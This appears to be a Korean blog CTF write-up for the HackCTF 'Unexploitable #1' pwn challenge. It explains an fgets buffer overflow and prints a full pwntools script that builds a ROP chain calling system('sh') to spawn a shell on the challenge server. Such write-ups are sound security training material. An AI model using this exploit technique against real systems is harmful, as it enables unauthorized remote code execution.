HACKCTF - Unexploitable #1
2020. 9. 13. 22:23ㆍCTF's Write-up
문제화면입니다.
해당 문제를 실행시켜보면
출력하나시키고, 입력하다받고 끝나내요. 아마 입력부분이서 취약점이 존재할 것 같습니다.
IDA를 통해 이 부분을 확인해보면
변수보다 fgets에서 읽어들이는 사이즈가 더 크니 BOF취약점이 발생하게 됩니다.
보호기법을 확인하면 leak한 후에 ROP를 통해 shell을 획득할 수도 있을 것 같은데.
system가젯을 일부러 준 친절하신 출제자와,
string부분을 보면 있는 fflush부분에서 sh부분만 추출 해 오면 되니
이 부분을 활용해주면 ex가 가능할 것 같습니다.
payload는 아래와 같습니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
from pwn import *
r = remote("ctf.j0n9hyun.xyz", 3023)
e = ELF("./Unexploitable_1")
system_plt = e.plt['system']
sh = 0x4003BB+0x4
pr = 0x00000000004007d3
context.log_level = "debug"
payload = ""
payload += "A"*0x10
payload += "A"*0x8
payload += p64(pr)
payload += p64(sh)
payload += p64(system_plt)
r.recvuntil("!\n")
r.sendline(payload)
r.interactive()
|
cs |
이를 실행하면
flag획득이 가능합니다.
'CTF's Write-up' 카테고리의 다른 글
DreamHack - cookie (0) | 2020.09.15 |
---|---|
HACKCTF - SysROP (0) | 2020.09.15 |
HACKCTF - ROP (0) | 2020.09.13 |
[보호]HACKCTF - LOL (0) | 2020.09.09 |
HACKCTF - Random Key (0) | 2020.09.08 |